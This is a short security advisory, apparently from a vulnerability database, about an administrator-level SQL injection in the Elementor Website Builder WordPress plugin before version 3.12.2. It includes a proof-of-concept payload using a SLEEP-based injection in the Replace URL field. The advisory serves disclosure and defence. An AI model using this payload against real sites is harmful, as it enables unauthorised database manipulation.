Elementor Website Builder < 3.12.2 - Admin+ SQLi

2023-05-0200:00:00

Sanjay Das

595

elementor

sql injection

admin section

website builder

security vulnerability

exploit

EPSS

0.001

Percentile

39.5%

JSON

The plugin does not properly sanitize and escape the Replace URL parameter in the Tools module before using it in a SQL statement, leading to a SQL injection exploitable by users with the Administrator role.

1. Go to Elementor > Tools > Replace URL
2. Fill the first field with `http://localhost:8000/`
3. Fill the second field with `http://localhost:8000/?test'),meta_key='key4'where+meta_id=SLEEP(2);#`
4. Note the additional time taken by the request, demonstrating the SQL injection vulnerability.

EPSS

0.001

Percentile

39.5%

JSON

Related for WPEX-ID:A875836D-77F4-4306-B275-2B60EFFF1493